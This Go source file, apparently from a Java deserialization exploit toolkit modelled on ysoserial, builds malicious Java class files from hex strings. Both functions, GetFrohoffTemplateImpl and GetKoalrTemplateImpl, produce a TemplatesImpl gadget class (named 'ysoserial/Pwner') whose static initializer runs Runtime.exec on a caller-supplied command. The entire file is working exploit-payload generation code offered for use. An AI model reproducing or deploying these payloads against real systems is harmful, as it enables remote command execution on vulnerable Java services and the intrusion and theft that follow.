package gadget

import (
	"encoding/binary"
	"encoding/hex"
	"github.com/EmYiQing/Gososerial/tool"
	"strings"
)

func GetFrohoffTemplateImpl(cmd string) []byte {
	prefix := "CAFEBABE0000003200390A0003002207003707002507002601001073657269616C566572736" +
		"96F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E" +
		"69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F636" +
		"16C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C" +
		"6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732" +
		"F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E" +
		"73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726" +
		"E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E" +
		"7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B295" +
		"6010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F" +
		"696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F737" +
		"56E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F536572" +
		"69616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636" +
		"F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F" +
		"4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F445" +
		"44D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E" +
		"7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B295" +
		"60100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E" +
		"7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414" +
		"C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A" +
		"65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C4" +
		"76164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F616473" +
		"2F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F7" +
		"3756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E7469" +
		"6D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626" +
		"C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F7873" +
		"6C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F616" +
		"4732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F5275" +
		"6E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E7" +
		"4696D653B0C002C002D0A002B002E01"
	cmdLen := len(cmd)
	cmdLenByte := make([]byte, 2)
	binary.BigEndian.PutUint16(cmdLenByte, uint16(cmdLen))
	cmdLenStr := strings.ToUpper(hex.EncodeToString(cmdLenByte))
	cmdStr := strings.ToUpper(hex.EncodeToString([]byte(cmd)))
	beforeRandStr := "08003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C" +
		"6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D6170546" +
		"1626C6501001F79736F73657269616C2F50776E6572"
	randStr := tool.GetRandomIntStr(16)
	randStr = hex.EncodeToString([]byte(randStr))
	split := "0100214C79736F73657269616C2F50776E6572"
	suffix := "3B002100020003000100040001001A0005000600010" +
		"00700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002" +
		"000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0" +
		"000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001" +
		"000F0038000000000001001500160001000000010017001800020019000000040001001A000100130" +
		"01B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A" +
		"000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F0" +
		"0030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB800" +
		"2F1231B6003557B1000000010036000000030001030002002000000002002100110000000A0001000" +
		"2002300100009"
	result := prefix + cmdLenStr + cmdStr + beforeRandStr + randStr + split + randStr + suffix
	data, _ := hex.DecodeString(result)
	return data
}

func GetKoalrTemplateImpl(cmd string) []byte {
	prefix := "CAFEBABE00000033001C01001F79736F73657269616C2F50776E6572"
	randStr := tool.GetRandomIntStr(16)
	randStr = hex.EncodeToString([]byte(randStr))
	split := "0700010100106A6176612F6C616E672F4F626A65637407000301000A536F7572636546696C65" +
		"01001A50776E6572"
	beforeCmd := "2E6A6176610100083C636C696E69743E010003282956010004436F64650100116A6176612F" +
		"6C616E672F52756E74696D6507000A01000A67657452756E74696D6501001528294C6A6176612F6C6" +
		"16E672F52756E74696D653B0C000C000D0A000B000E01"
	cmdLen := len(cmd)
	cmdLenByte := make([]byte, 2)
	binary.BigEndian.PutUint16(cmdLenByte, uint16(cmdLen))
	cmdLenStr := strings.ToUpper(hex.EncodeToString(cmdLenByte))
	cmdStr := strings.ToUpper(hex.EncodeToString([]byte(cmd)))
	suffix := "08001001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612" +
		"F6C616E672F50726F636573733B0C001200130A000B001401000D537461636B4D61705461626C6501" +
		"0040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C746" +
		"32F72756E74696D652F41627374726163745472616E736C65740700170100063C696E69743E0C0019" +
		"00080A0018001A0021000200180000000000020008000700080001000900000024000300020000000" +
		"FA70003014CB8000F1211B6001557B100000001001600000003000103000100190008000100090000" +
		"001100010001000000052AB7001BB10000000000010005000000020006"
	result := prefix + randStr + split + randStr + beforeCmd + cmdLenStr + cmdStr + suffix
	data, _ := hex.DecodeString(result)
	return data
}
